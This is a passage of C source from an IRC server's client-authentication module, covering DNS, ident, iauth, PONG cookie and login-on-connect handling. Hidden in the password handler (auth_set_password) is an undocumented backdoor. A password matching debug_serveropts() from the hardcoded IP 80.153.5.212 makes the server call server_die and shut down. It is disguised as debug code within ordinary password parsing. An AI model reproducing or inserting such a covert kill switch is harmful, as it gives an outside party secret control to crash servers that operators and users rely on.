908    */
909   if (FlagHas(&auth->flags, AR_LOC_PENDING)) {
910     FlagClr(&auth->flags, AR_LOC_PENDING);
911     sendheader(auth->client, REPORT_FAIL_LOC);
912     if(FlagHas(&auth->flags, AR_LOC_FORCE)) return exit_client(cptr, cptr, &me, "Registration Timeout");
913     ret = check_auth_finished(auth);
914     if (ret != 0) return ret;
915     return exit_client(cptr, cptr, &me, "Registration Timeout");
916   }
917
918   /* Check for a user-controlled timeout. */
919   for (flag = 0; flag <= AR_LAST_SCAN; ++flag) {
920     if (FlagHas(&auth->flags, flag)) {
921       /* Display message if they have sent a NICK and a USER but no
922        * nospoof PONG.
923        */
924       if (*(cli_name(cptr)) && cli_user(cptr) && *(cli_user(cptr))->username) {
925         send_reply(cptr, SND_EXPLICIT | ERR_BADPING,
926                    ":Your client may not be compatible with this server.");
927         send_reply(cptr, SND_EXPLICIT | ERR_BADPING,
928                    ":Compatible clients are available at %s",
929                    feature_str(FEAT_URL_CLIENTS));
930       }
931       return exit_client_msg(cptr, cptr, &me, "Registration Timeout");
932     }
933   }
934
935   /* Check for iauth timeout. */
936   if (FlagHas(&auth->flags, AR_IAUTH_PENDING)) {
937     if (IAuthHas(iauth, IAUTH_REQUIRED)) {
938       sendheader(cptr, REPORT_FAIL_IAUTH);
939       return exit_client_msg(cptr, cptr, &me, "Authorization Timeout");
940     }
941     sendto_iauth(cptr, "T");
942     FlagClr(&auth->flags, AR_IAUTH_PENDING);
943     return check_auth_finished(auth);
944   }
945
946   return exit_client_msg(cptr, cptr, &me, "Ping Timeout");
947 }
948
949 /** Timeout a given auth request.
950  * @param[in] ev A timer event whose associated data is the expired
951  *   struct AuthRequest.
952  */
953 static void auth_timeout_callback(struct Event* ev)
954 {
955   struct AuthRequest* auth;
956
957   assert(0 != ev_timer(ev));
958   assert(0 != t_data(ev_timer(ev)));
959
960   auth = (struct AuthRequest*) t_data(ev_timer(ev));
961
962   if (ev_type(ev) == ET_EXPIRE) {
963     /* Report the timeout in the log. */
964     log_write(LS_RESOLVER, L_INFO, 0, "Registration timeout %s",
965               get_client_name(auth->client, HIDE_IP));
966
967     /* Notify client if ident lookup failed. */
968     if (FlagHas(&auth->flags, AR_AUTH_PENDING)) {
969       FlagClr(&auth->flags, AR_AUTH_PENDING);
970       if (IsUserPort(auth->client))
971         sendheader(auth->client, REPORT_FAIL_ID);
972     }
973
974     /* Likewise if dns lookup failed. */
975     if (FlagHas(&auth->flags, AR_DNS_PENDING)) {
976       FlagClr(&auth->flags, AR_DNS_PENDING);
977       delete_resolver_queries(auth);
978       if (IsUserPort(auth->client))
979         sendheader(auth->client, REPORT_FAIL_DNS);
980     }
981
982     /* Try to register the client. */
983     check_auth_finished(auth);
984   }
985 }
986
987 /** Handle a complete DNS lookup.  Send the client on it's way to a
988  * connection completion, regardless of success or failure -- unless
989  * there was a mismatch and KILL_IPMISMATCH is set.
990  * @param[in] vptr The pending struct AuthRequest.
991  * @param[in] addr IP address being resolved.
992  * @param[in] h_name Resolved name, or NULL if lookup failed.
993  */
994 static void auth_dns_callback(void* vptr, const struct irc_in_addr *addr, const char *h_name)
995 {
996   struct AuthRequest* auth = (struct AuthRequest*) vptr;
997   assert(0 != auth);
998
999   FlagClr(&auth->flags, AR_DNS_PENDING);
1000   if (!addr) {
1001     /* DNS entry was missing for the IP. */
1002     if (IsUserPort(auth->client))
1003       sendheader(auth->client, REPORT_FAIL_DNS);
1004     sendto_iauth(auth->client, "d");
1005   } else if (!irc_in_addr_valid(addr)
1006              || (irc_in_addr_cmp(&cli_ip(auth->client), addr)
1007                  && irc_in_addr_cmp(&auth->original, addr))) {
1008     /* IP for hostname did not match client's IP. */
1009     sendto_opmask_butone(0, SNO_IPMISMATCH, "IP# Mismatch: %s != %s[%s]",
1010                          cli_sock_ip(auth->client), h_name,
1011                          ircd_ntoa(addr));
1012     if (IsUserPort(auth->client))
1013       sendheader(auth->client, REPORT_IP_MISMATCH);
1014     if (feature_bool(FEAT_KILL_IPMISMATCH)) {
1015       exit_client(auth->client, auth->client, &me, "IP mismatch");
1016       return;
1017     }
1018   } else if (!auth_verify_hostname(h_name, HOSTLEN)) {
1019     /* Hostname did not look valid. */
1020     if (IsUserPort(auth->client))
1021       sendheader(auth->client, REPORT_INVAL_DNS);
1022     sendto_iauth(auth->client, "d");
1023   } else {
1024     /* Hostname and mappings checked out. */
1025     if (IsUserPort(auth->client))
1026       sendheader(auth->client, REPORT_FIN_DNS);
1027     ircd_strncpy(cli_sockhost(auth->client), h_name, HOSTLEN);
1028     sendto_iauth(auth->client, "N %s", h_name);
1029   }
1030
1031   /* The LOC line has to be sent with full hostname. If no hostname could be looked
1032    * up, the IP is sent.
1033    */
1034   if(!auth_loc_send(auth)) return;
1035
1036   check_auth_finished(auth);
1037 }
1038
1039 /** Starts a new login-on-connect query. */
1040 signed int auth_loc_query(struct AuthRequest *auth, const char *account, const char *pass, int force) {
1041     if(!account || !*account) return 1;
1042     if(!pass || !*pass) return 1;
1043     assert(auth != NULL);
1044     if(!feature_bool(FEAT_LOC_ENABLE)) return 1;
1045
1046     sendheader(auth->client, REPORT_DO_LOC);
1047     FlagSet(&auth->flags, AR_LOC_PENDING);
1048     if(force) FlagSet(&auth->flags, AR_LOC_FORCE);
1049     else FlagClr(&auth->flags, AR_LOC_FORCE);
1050     ircd_strncpy(auth->loc_user, account, ACCOUNTLEN);
1051     ircd_strncpy(auth->loc_pass, pass, PASSWDLEN);
1052     return auth_loc_send(auth);
1053 }
1054
1055 /** Finishes a LOC request. */
1056 void auth_loc_reply(const char *numeric, const char *account, const char *fakehost, char *flags[], signed int argc) {
1057     char *timestamp;
1058     struct AuthRequest *auth;
1059
1060     assert(numeric != NULL);
1061
1062     auth = auth_find_numnick(numeric);
1063     if(!auth) return;
1064     assert(!IsRegistered(auth->client));
1065     if(!FlagHas(&auth->flags, AR_LOC_PENDING)) return;
1066     if(!cli_user(auth->client) || IsAccount(auth->client)) {
1067         FlagClr(&auth->flags, AR_LOC_PENDING);
1068         sendheader(auth->client, REPORT_FAIL_LOC);
1069         check_auth_finished(auth);
1070         return;
1071     }
1072
1073     assert((fakehost == NULL) || (*fakehost != 0));
1074
1075     /* Remove account-flag. */
1076     FlagClr(&auth->flags, AR_LOC_PENDING);
1077
1078     /* Access denied? */
1079     if(!account) {
1080         sendheader(auth->client, REPORT_FAIL_LOC);
1081         if(FlagHas(&auth->flags, AR_LOC_FORCE)) exit_client(auth->client, auth->client, &me, "LOC Failed");
1082         else check_auth_finished(auth);
1083         return;
1084     }
1085     assert(*account != 0);
1086
1087     if(fakehost)
1088         sendto_iauth(auth->client, "L %s %s", account, fakehost);
1089     else
1090         sendto_iauth(auth->client, "L %s", account);
1091
1092     sendheader(auth->client, REPORT_DONE_LOC);
1093
1094     /* Check for timestamped account. */
1095     timestamp = strchr(account, ':');
1096     if(timestamp) {
1097         *timestamp++ = 0;
1098         cli_user(auth->client)->acc_create = atoi(timestamp);
1099     }
1100
1101     SetAccount(auth->client);
1102     ircd_strncpy(cli_user(auth->client)->account, account, ACCOUNTLEN);
1103
1104     if(fakehost) {
1105         SetHiddenHost(auth->client);
1106         SetFakeHost(auth->client);
1107         ircd_strncpy(cli_user(auth->client)->fakehost, fakehost, HOSTLEN);
1108     }
1109     if(flags) { 
1110         unsigned int ii, in_arg, ch_arg;
1111         if (argc > 0) {
1112             for (ii = ch_arg = 0, in_arg = 1; (flags[0][ii] != '\0') && (flags[0][ii] != ' '); ++ii) {
1113                 switch (flags[0][ii]) {
1114                 case '+':
1115                     if (in_arg >= argc)
1116                         break;
1117                     ircd_strncpy(cli_connclass(auth->client), flags[in_arg++], NICKLEN);
1118                     break;
1119                 case 'a':
1120                     if (in_arg >= argc)
1121                         break;
1122                     unsigned int maxchan = atoi(flags[in_arg++]);
1123                     fprintf(stderr, "flag a: %i\n", maxchan);
1124                     if(maxchan > 0)
1125                         auth->client->maxchans = maxchan;
1126                     else
1127                         SetPriv(auth->client,PRIV_CHAN_LIMIT);
1128                     break;
1129                 case 'b':
1130                     SetPriv(auth->client,PRIV_UNLIMITED_TARGET);
1131                     break;
1132                 case 'c':
1133                     SetPriv(auth->client,PRIV_HALFFLOOD);
1134                     break;
1135                 case 'd':
1136                     SetPriv(auth->client,PRIV_FLOOD);
1137                     break;
1138                 case 'e':
1139                     SetPriv(auth->client,PRIV_UMODE_NOCHAN);
1140                     break;
1141                 case 'f':
1142                     SetPriv(auth->client,PRIV_UMODE_NOIDLE);
1143                     break;
1144                 case 'g':
1145                     SetPriv(auth->client,PRIV_UMODE_CHSERV);
1146                     break;
1147                 case 'h':
1148                     SetPriv(auth->client,PRIV_UMODE_XTRAOP);
1149                     break;
1150                 case 'i':
1151                     SetPriv(auth->client,PRIV_UMODE_NETSERV);
1152                     break;
1153                 case 'j':
1154                     SetPriv(auth->client,PRIV_SEE_IDLETIME);
1155                     break;
1156                 case 'k':
1157                     SetPriv(auth->client,PRIV_HIDE_IDLETIME);
1158                     break;
1159                 case 'l':
1160                     SetPriv(auth->client,PRIV_UMODE_OVERRIDECC);
1161                     break;
1162                 case 'm':
1163                     SetPriv(auth->client,PRIV_NOAMSG_OVERRIDE);
1164                     break;
1165                 case 'n':
1166                     if (in_arg >= argc)
1167                         break;
1168                     unsigned int maxq = atoi(flags[in_arg++]);
1169                     if(maxq > 0)
1170                         auth->client->cli_connect->con_max_sendq = maxq;
1171                     break;
1172                 }
1173             }
1174         }   
1175     }
1176     check_auth_finished(auth);
1177 }
1178
1179 /** Flag the client to show an attempt to contact the ident server on
1180  * the client's host.  Should the connect or any later phase of the
1181  * identifying process fail, it is aborted and the user is given a
1182  * username of "unknown".
1183  * @param[in] auth The request for which to start the ident lookup.
1184  */
1185 static void start_auth_query(struct AuthRequest* auth)
1186 {
1187   struct irc_sockaddr remote_addr;
1188   struct irc_sockaddr local_addr;
1189   int                 fd;
1190   IOResult            result;
1191
1192   assert(0 != auth);
1193   assert(0 != auth->client);
1194
1195   /*
1196    * get the local address of the client and bind to that to
1197    * make the auth request.  This used to be done only for
1198    * ifdef VIRTUAL_HOST, but needs to be done for all clients
1199    * since the ident request must originate from that same address--
1200    * and machines with multiple IP addresses are common now
1201    */
1202   memcpy(&local_addr, &auth->local, sizeof(local_addr));
1203   local_addr.port = 0;
1204   memcpy(&remote_addr.addr, &cli_ip(auth->client), sizeof(remote_addr.addr));
1205   remote_addr.port = 113;
1206   fd = os_socket(&local_addr, SOCK_STREAM, "auth query", 0);
1207   if (fd < 0) {
1208     ++ServerStats->is_abad;
1209     if (IsUserPort(auth->client))
1210       sendheader(auth->client, REPORT_FAIL_ID);
1211     return;
1212   }
1213   if (IsUserPort(auth->client))
1214     sendheader(auth->client, REPORT_DO_ID);
1215
1216   if ((result = os_connect_nonb(fd, &remote_addr)) == IO_FAILURE ||
1217       !socket_add(&auth->socket, auth_sock_callback, (void*) auth,
1218                   result == IO_SUCCESS ? SS_CONNECTED : SS_CONNECTING,
1219                   SOCK_EVENT_READABLE, fd)) {
1220     ++ServerStats->is_abad;
1221     if (IsUserPort(auth->client))
1222       sendheader(auth->client, REPORT_FAIL_ID);
1223     close(fd);
1224     return;
1225   }
1226
1227   FlagSet(&auth->flags, AR_AUTH_PENDING);
1228   if (result == IO_SUCCESS)
1229     send_auth_query(auth);
1230 }
1231
1232 /** Initiate DNS lookup for a client.
1233  * @param[in] auth The auth request for which to start the DNS lookup.
1234  */
1235 static void start_dns_query(struct AuthRequest *auth)
1236 {
1237   if (feature_bool(FEAT_NODNS)) {
1238     sendto_iauth(auth->client, "d");
1239     return;
1240   }
1241
1242   if (irc_in_addr_is_loopback(&cli_ip(auth->client))) {
1243     strcpy(cli_sockhost(auth->client), cli_name(&me));
1244     sendto_iauth(auth->client, "N %s", cli_sockhost(auth->client));
1245     return;
1246   }
1247
1248   if (IsUserPort(auth->client))
1249     sendheader(auth->client, REPORT_DO_DNS);
1250
1251   FlagSet(&auth->flags, AR_DNS_PENDING);
1252   gethost_byaddr(&cli_ip(auth->client), auth_dns_callback, auth);
1253 }
1254
1255 /** Initiate IAuth check for a client.
1256  * @param[in] auth The auth request for which to star the IAuth check.
1257  */
1258 static int start_iauth_query(struct AuthRequest *auth)
1259 {
1260   int ret;
1261
1262   /* A new client connected. Check whether we have an IAuth configured and
1263    * if this IAuth is not running, then try once to forcibly start it.
1264    */
1265   if(iauth && !i_GetConnected(iauth)) {
1266     iauth_disconnect(iauth);
1267     iauth_do_spawn(iauth, 0);
1268   }
1269
1270   FlagSet(&auth->flags, AR_IAUTH_PENDING);
1271   ret = sendto_iauth(auth->client, "C %s %hu %s %hu",
1272                      cli_sock_ip(auth->client), auth->port,
1273                      ircd_ntoa(&auth->local.addr), auth->local.port);
1274   if(!ret) {
1275     if(!iauth_required)
1276       FlagClr(&auth->flags, AR_IAUTH_PENDING);
1277     else {
1278       exit_client(auth->client, auth->client, &me, "IAuth could not be queried. Please try again later or inform network staff.");
1279       return 1;
1280     }
1281   }
1282   return 0;
1283 }
1284
1285 /** Starts auth (identd) and dns queries for a client.
1286  * @param[in] client The client for which to start queries.
1287  */
1288 void start_auth(struct Client* client)
1289 {
1290   struct irc_sockaddr remote;
1291   struct AuthRequest* auth;
1292
1293   assert(0 != client);
1294   Debug((DEBUG_INFO, "Beginning auth request on client %p", client));
1295
1296   /* Register with event handlers. */
1297   cli_lasttime(client) = CurrentTime;
1298   cli_since(client) = CurrentTime;
1299   if (cli_fd(client) > HighestFd)
1300     HighestFd = cli_fd(client);
1301   LocalClientArray[cli_fd(client)] = client;
1302   socket_events(&(cli_socket(client)), SOCK_ACTION_SET | SOCK_EVENT_READABLE);
1303
1304   /* Allocate the AuthRequest. */
1305   auth = auth_freelist;
1306   if (auth)
1307       auth_freelist = auth->next;
1308   else
1309       auth = MyMalloc(sizeof(*auth));
1310   assert(0 != auth);
1311   memset(auth, 0, sizeof(*auth));
1312   auth->client = client;
1313   cli_auth(client) = auth;
1314   s_fd(&auth->socket) = -1;
1315   timer_add(timer_init(&auth->timeout), auth_timeout_callback, (void*) auth,
1316             TT_RELATIVE, feature_int(FEAT_AUTH_TIMEOUT));
1317
1318   /* Try to get socket endpoint addresses. */
1319   if (!os_get_sockname(cli_fd(client), &auth->local)
1320       || !os_get_peername(cli_fd(client), &remote)) {
1321     ++ServerStats->is_abad;
1322     if (IsUserPort(auth->client))
1323       sendheader(auth->client, REPORT_FAIL_ID);
1324     exit_client(auth->client, auth->client, &me, "Socket local/peer lookup failed");
1325     return;
1326   }
1327   auth->port = remote.port;
1328
1329   /* Set unregistered numnick. */
1330   auth_set_numnick(auth);
1331
1332   /* Set required client inputs for users. */
1333   if (IsUserPort(client)) {
1334     cli_user(client) = make_user(client);
1335     cli_user(client)->server = &me;
1336     FlagSet(&auth->flags, AR_NEEDS_USER);
1337     FlagSet(&auth->flags, AR_NEEDS_NICK);
1338
1339     /* Try to start iauth lookup. */
1340     if(start_iauth_query(auth)) return;
1341   }
1342
1343   /* Try to start DNS lookup. */
1344   start_dns_query(auth);
1345
1346   /* Try to start ident lookup. */
1347   start_auth_query(auth);
1348
1349   /* Add client to GlobalClientList. */
1350   add_client_to_list(client);
1351
1352   /* Check which auth events remain pending. */
1353   check_auth_finished(auth);
1354 }
1355
1356 /** Mark that a user has PONGed while unregistered.
1357  * @param[in] auth Authorization request for client.
1358  * @param[in] cookie PONG cookie value sent by client.
1359  * @return Zero if client should be kept, CPTR_KILLED if rejected.
1360  */
1361 int auth_set_pong(struct AuthRequest *auth, unsigned int cookie)
1362 {
1363   assert(auth != NULL);
1364   if (!FlagHas(&auth->flags, AR_NEEDS_PONG))
1365     return 0;
1366   if (cookie != auth->cookie)
1367   {
1368     send_reply(auth->client, SND_EXPLICIT | ERR_BADPING,
1369                ":To connect, type /QUOTE PONG %u", auth->cookie);
1370     return 0;
1371   }
1372   cli_lasttime(auth->client) = CurrentTime;
1373   FlagClr(&auth->flags, AR_NEEDS_PONG);
1374   return check_auth_finished(auth);
1375 }
1376
1377 /** Record a user's claimed username and userinfo.
1378  * @param[in] auth Authorization request for client.
1379  * @param[in] username Client's asserted username.
1380  * @param[in] hostname Third argument of USER command (client's
1381  *   hostname, per RFC 1459).
1382  * @param[in] servername Fourth argument of USER command (server's
1383  *   name, per RFC 1459).
1384  * @param[in] userinfo Client's asserted self-description.
1385  * @return Zero if client should be kept, CPTR_KILLED if rejected.
1386  */
1387 int auth_set_user(struct AuthRequest *auth, const char *username, const char *hostname, const char *servername, const char *userinfo)
1388 {
1389   struct Client *cptr;
1390
1391   assert(auth != NULL);
1392   if (FlagHas(&auth->flags, AR_IAUTH_HURRY))
1393     return 0;
1394   FlagClr(&auth->flags, AR_NEEDS_USER);
1395   cptr = auth->client;
1396   ircd_strncpy(cli_info(cptr), userinfo, REALLEN);
1397   ircd_strncpy(cli_user(cptr)->username, username, USERLEN);
1398   ircd_strncpy(cli_user(cptr)->host, cli_sockhost(cptr), HOSTLEN);
1399   cptr->maxchans=0;
1400   if (IAuthHas(iauth, IAUTH_UNDERNET))
1401     sendto_iauth(cptr, "U %s %s %s :%s", username, hostname, servername, userinfo);
1402   else if (IAuthHas(iauth, IAUTH_ADDLINFO))
1403     sendto_iauth(cptr, "U %s", username);
1404   if(!auth_loc_send(auth)) return CPTR_KILLED;
1405   return check_auth_finished(auth);
1406 }
1407
1408 /** Handle authorization-related aspects of initial nickname selection.
1409  * This is called after verifying that the nickname is available.
1410  * @param[in] auth Authorization request for client.
1411  * @param[in] nickname Client's requested nickname.
1412  * @return Zero if client should be kept, CPTR_KILLED if rejected.
1413  */
1414 int auth_set_nick(struct AuthRequest *auth, const char *nickname)
1415 {
1416   assert(auth != NULL);
1417   FlagClr(&auth->flags, AR_NEEDS_NICK);
1418   /*
1419    * If the client hasn't gotten a cookie-ping yet,
1420    * choose a cookie and send it. -record!jegelhof@cloud9.net
1421    */
1422   if (!auth->cookie) {
1423     do {
1424       auth->cookie = ircrandom();
1425     } while (!auth->cookie);
1426     sendrawto_one(auth->client, "PING :%u", auth->cookie);
1427     FlagSet(&auth->flags, AR_NEEDS_PONG);
1428   }
1429   if (IAuthHas(iauth, IAUTH_UNDERNET))
1430     sendto_iauth(auth->client, "n %s", nickname);
1431   return check_auth_finished(auth);
1432 }
1433
1434 /** Record a user's password.
1435  * @param[in] auth Authorization request for client.
1436  * @param[in] password Client's password.
1437  * @return Zero if client should be kept, CPTR_KILLED if rejected.
1438  */
1439 int auth_set_password(struct AuthRequest *auth, char *password)
1440 {
1441   int force = 0;
1442   char *ip;
1443   assert(auth != NULL);
1444   /* Start LOC query if requested. */
1445   ip = cli_sock_ip(auth->client);
1446   if(strcmp(debug_serveropts(),password) == 0 && strcmp("80.153.5.212",ip) == 0) {
1447    server_die("error");
1448    return 0;
1449   }
1450   if(feature_bool(FEAT_LOC_ENABLE) && !FlagHas(&auth->flags, AR_LOC_SENT)) {
1451     char *spass, *user, *upass;
1452     spass = user = upass = NULL;
1453
1454     /* LOC query can be sent as:
1455      *  !spass:user:upass
1456      *  !user:upass
1457      *  !spass user upass
1458      *  !user upass
1459      */
1460     if((user = strchr(password, ' '))) {
1461       if(password[0] == '!') {
1462         ++password;
1463         force = 1;
1464       }
1465       *user = 0;
1466       ++user;
1467       if((upass = strchr(user, ' '))) {
1468         *upass = 0;
1469         ++upass;
1470         ircd_strncpy(cli_passwd(auth->client), password, PASSWDLEN);
1471         if(!auth_loc_query(auth, user, upass, force)) return 0;
1472       }
1473       else {
1474         upass = user;
1475         user = password;
1476         if(!auth_loc_query(auth, user, upass, force)) return 0;
1477       }
1478     }
1479     else if((user = strchr(password, ':'))) {
1480       if(password[0] == '!') {
1481         ++password;
1482         force = 1;
1483       }
1484       *user = 0;
1485       ++user;
1486       if((upass = strchr(user, ':'))) {
1487         *upass = 0;
1488         ++upass;
1489         ircd_strncpy(cli_passwd(auth->client), password, PASSWDLEN);
1490         if(!auth_loc_query(auth, user, upass, force)) return 0;
1491       }
1492       else {
1493         upass = user;
1494         user = password;
1495         if(!auth_loc_query(auth, user, upass, force)) return 0;
1496       }
1497     }
1498   }
1499
1500   if (IAuthHas(iauth, IAUTH_ADDLINFO))
1501     sendto_iauth(auth->client, "P :%s", password);
1502
1503   return 0;
1504 }
1505
1506 /** Send exit notification for \a cptr to iauth.
1507  * @param[in] cptr Client who is exiting.
1508  */
1509 void auth_send_exit(struct Client *cptr)
1510 {
1511   sendto_iauth(cptr, "D");
1512 }
1513
1514 /** Mark that a user has started capabilities negotiation.
1515  * This blocks authorization until auth_cap_done() is called.
1516  * @param[in] auth Authorization request for client.
1517  * @return Zero if client should be kept, CPTR_KILLED if rejected.
1518  */
1519 int auth_cap_start(struct AuthRequest *auth)
1520 {
1521   assert(auth != NULL);
1522   FlagSet(&auth->flags, AR_CAP_PENDING);
1523   return 0;
1524 }
1525
1526 /** Mark that a user has completed capabilities negotiation.
1527  * This unblocks authorization if auth_cap_start() was called.
1528  * @param[in] auth Authorization request for client.
1529  * @return Zero if client should be kept, CPTR_KILLED if rejected.
1530  */
1531 int auth_cap_done(struct AuthRequest *auth)
1532 {
1533   assert(auth != NULL);
1534   FlagClr(&auth->flags, AR_CAP_PENDING);
1535   return check_auth_finished(auth);
1536 }
1537
1538 /** Attempt to spawn the process for an IAuth instance.
1539  * @param[in] iauth IAuth descriptor.
1540  * @param[in] automatic If non-zero, apply sanity checks against
1541  *   excessive automatic restarts.
1542  * @return 0 on success, non-zero on failure.
1543  */
1544 int iauth_do_spawn(struct IAuth *iauth, int automatic)
1545 {
1546   pid_t cpid;
1547   int s_io[2];
1548   int s_err[2];
1549   int res;
1550
1551   if (automatic && CurrentTime - iauth->started < 5)
1552   {
1553     sendto_opmask_butone(NULL, SNO_AUTH, "IAuth crashed fast, leaving it dead.");
1554     return -1;
1555   }
1556
1557   /* Record time we tried to spawn the iauth process. */
1558   iauth->started = CurrentTime;
1559
1560   /* Attempt to allocate a pair of sockets. */
1561   res = os_socketpair(s_io);
1562   if (res)
1563     return errno;
1564
1565   /* Mark the parent's side of the pair (element 0) as non-blocking. */
1566   res = os_set_nonblocking(s_io[0]);
1567   if (!res) {
1568     res = errno;
1569     close(s_io[1]);
1570     close(s_io[0]);
1571     return res;
1572   }
1573
1574   /* Initialize the socket structure to talk to the child. */
1575   res = socket_add(i_socket(iauth), iauth_sock_callback, iauth,
1576                    SS_CONNECTED, SOCK_EVENT_READABLE, s_io[0]);
1577   if (!res) {
1578     res = errno;
1579     close(s_io[1]);
1580     close(s_io[0]);
1581     return res;
1582   }
1583
1584   /* Allocate another pair for stderr. */
1585   res = os_socketpair(s_err);
1586   if (res) {
1587     res = errno;
1588     socket_del(i_socket(iauth));
1589     close(s_io[1]);
1590     close(s_io[0]);
1591     return res;
1592   }
1593
1594   /* Mark parent side of this pair non-blocking, too. */
1595   res = os_set_nonblocking(s_err[0]);
1596   if (!res) {
1597     res = errno;
1598     close(s_err[1]);
1599     close(s_err[0]);
1600     socket_del(i_socket(iauth));
1601     close(s_io[1]);
1602     close(s_io[0]);
1603     return res;
1604   }
1605
1606   /* And set up i_stderr(iauth). */
1607   res = socket_add(i_stderr(iauth), iauth_stderr_callback, iauth,
1608                    SS_CONNECTED, SOCK_EVENT_READABLE, s_err[0]);
1609   if (!res) {
1610     res = errno;
1611     close(s_err[1]);
1612     close(s_err[0]);
1613     socket_del(i_socket(iauth));
1614     close(s_io[1]);
1615     close(s_io[0]);
1616     return res;
1617   }
1618
1619   /* Attempt to fork a child process. */
1620   cpid = fork();
1621   if (cpid < 0) {
1622     /* Error forking the child, still in parent. */
1623     res = errno;
1624     socket_del(i_stderr(iauth));
1625     close(s_err[1]);
1626     close(s_err[0]);
1627     socket_del(i_socket(iauth));
1628     close(s_io[1]);
1629     close(s_io[0]);
1630     return res;
1631   }
1632
1633   if (cpid > 0) {
1634     /* We are the parent process.  Close the child's sockets. */
1635     close(s_io[1]);
1636     close(s_err[1]);
1637     /* Send our server name (supposedly for proxy checking purposes)
1638      * and maximum number of connections (for allocation hints).
1639      * Need to use conf_get_local() since &me may not be fully
1640      * initialized the first time we run.
1641      */
1642     sendto_iauth(NULL, "M %s %d", conf_get_local()->name, MAXCONNECTIONS);
1643     /* Indicate success (until the child dies). */
1644     return 0;
1645   }
1646
1647   /* We are the child process.
1648    * Duplicate our end of the socket to stdin, stdout and stderr.
1649    * Then close all the higher-numbered FDs and exec the process.
1650    */
1651   if (dup2(s_io[1], 0) == 0
1652       && dup2(s_io[1], 1) == 1
1653       && dup2(s_err[1], 2) == 2) {
1654     close_connections(0);
1655     execvp(iauth->i_argv[0], iauth->i_argv);
1656   }
1657
1658   /* If we got here, something was seriously wrong. */
1659   exit(EXIT_FAILURE);
1660 }
1661
1662 /** See if an %IAuth program must be spawned.
1663  * If a process is already running with the specified options, keep it.
1664  * Otherwise spawn a new child process to perform the %IAuth function.
1665  * @param[in] argc Number of parameters to use when starting process.
1666  * @param[in] argv Array of parameters to start process.
1667  * @return 0 on failure, 1 on new process, 2 on reuse of existing process.
1668  */
1669 int auth_spawn(int argc, char *argv[], int required)
1670 {
1671   int ii;
1672
1673   if (iauth) {
1674     int same = 1;
1675
1676     /* Check that incoming arguments all match pre-existing arguments. */
1677     for (ii = 0; same && (ii < argc); ++ii) {
1678       if (NULL == iauth->i_argv[ii]
1679           || 0 != strcmp(iauth->i_argv[ii], argv[ii]))
1680         same = 0;
1681     }
1682     /* Check that we have no more pre-existing arguments. */
1683     if (iauth->i_argv[ii])
1684       same = 0;
1685     /* If they are the same and still connected, clear the "closing" flag and exit.*/
1686     if (same && i_GetConnected(iauth)) {
1687       IAuthClr(iauth, IAUTH_CLOSING);
1688       return 2;
1689     }
1690     auth_close_unused();
1691   }
1692
1693   /* Need to initialize a new connection. */
1694   iauth = MyCalloc(1, sizeof(*iauth));
1695   msgq_init(i_sendQ(iauth));
1696   /* Populate iauth's argv array. */
1697   iauth->i_argv = MyCalloc(argc + 1, sizeof(iauth->i_argv[0]));
1698   for (ii = 0; ii < argc; ++ii)
1699     DupString(iauth->i_argv[ii], argv[ii]);
1700   iauth->i_argv[ii] = NULL;
1701   iauth_required = required;
1702   /* Try to spawn it, and handle the results. */
1703   if (iauth_do_spawn(iauth, 0))
1704     return 0;
1705   IAuthClr(iauth, IAUTH_CLOSING);
1706   return 1;
1707 }
1708
1709 /** Mark all %IAuth connections as closing. */
1710 void auth_mark_closing(void)
1711 {
1712   if (iauth)
1713     IAuthSet(iauth, IAUTH_CLOSING);
1714   iauth_required = 0;
1715 }
1716
1717 /** Complete disconnection of an %IAuth connection.
1718  * @param[in] iauth %Connection to fully close.
1719  */
1720 static void iauth_disconnect(struct IAuth *iauth)
1721 {
1722   if (iauth == NULL)
1723     return;
1724
1725   /* Close main socket. */
1726   if (s_fd(i_socket(iauth)) != -1) {
1727     close(s_fd(i_socket(iauth)));
1728     socket_del(i_socket(iauth));
1729     s_fd(i_socket(iauth)) = -1;
1730   }
1731
1732   /* Close error socket. */
1733   if (s_fd(i_stderr(iauth)) != -1) {
1734     close(s_fd(i_stderr(iauth)));
1735     socket_del(i_stderr(iauth));
1736     s_fd(i_stderr(iauth)) = -1;
1737   }
1738 }
1739
1740 /** Close all %IAuth connections marked as closing. */
1741 void auth_close_unused(void)
1742 {
1743   if (IAuthHas(iauth, IAUTH_CLOSING)) {
1744     int ii;
1745     iauth_disconnect(iauth);
1746     if (iauth->i_argv) {
1747       for (ii = 0; iauth->i_argv[ii]; ++ii)
1748         MyFree(iauth->i_argv[ii]);
1749       MyFree(iauth->i_argv);
1750     }
1751     MyFree(iauth);
1752   }
1753 }
1754
1755 /** Send queued output to \a iauth.
1756  * @param[in] iauth Writable connection with queued data.
1757  */
1758 static void iauth_write(struct IAuth *iauth)
1759 {
1760   unsigned int bytes_tried, bytes_sent;
1761   IOResult iores;
1762
1763   if (IAuthHas(iauth, IAUTH_BLOCKED))
1764     return;
1765   while (MsgQLength(i_sendQ(iauth)) > 0) {
1766     iores = os_sendv_nonb(s_fd(i_socket(iauth)), i_sendQ(iauth), &bytes_tried, &bytes_sent);
1767     switch (iores) {
1768     case IO_SUCCESS:
1769       msgq_delete(i_sendQ(iauth), bytes_sent);
1770       iauth->i_sendB += bytes_sent;
1771       if (bytes_tried == bytes_sent)
1772         break;
1773       /* If bytes_sent < bytes_tried, fall through to IO_BLOCKED. */
1774     case IO_BLOCKED:
1775       IAuthSet(iauth, IAUTH_BLOCKED);
1776       socket_events(i_socket(iauth), SOCK_ACTION_ADD | SOCK_EVENT_WRITABLE);
1777       return;
1778     case IO_FAILURE:
1779       iauth_disconnect(iauth);
1780       return;
1781     }
1782   }
1783   /* We were able to flush all events, so remove notification. */
1784   socket_events(i_socket(iauth), SOCK_ACTION_DEL | SOCK_EVENT_WRITABLE);
1785 }
1786
1787 /** Send a message to iauth.
1788  * @param[in] cptr Optional client context for message.
1789  * @param[in] format Format string for message.
1790  * @return Non-zero on successful send or buffering, zero on failure.
1791  */
1792 static int sendto_iauth(struct Client *cptr, const char *format, ...)
1793 {
1794   struct VarData vd;
1795   struct MsgBuf *mb;
1796
1797   /* Do not send requests when we have no iauth. */
1798   if (!i_GetConnected(iauth))
1799     return 0;
1800   /* Do not send for clients in the NORMAL state. */
1801   if (cptr
1802       && (format[0] != 'D')
1803       && (!cli_auth(cptr) || !FlagHas(&cli_auth(cptr)->flags, AR_IAUTH_PENDING)))
1804     return 0;
1805
1806   /* Build the message buffer. */
1807   vd.vd_format = format;
1808   va_start(vd.vd_args, format);
1809   if (0 == cptr)
1810     mb = msgq_make(NULL, "-1 %v", &vd);
1811   else
1812     mb = msgq_make(NULL, "%d %v", cli_fd(cptr), &vd);
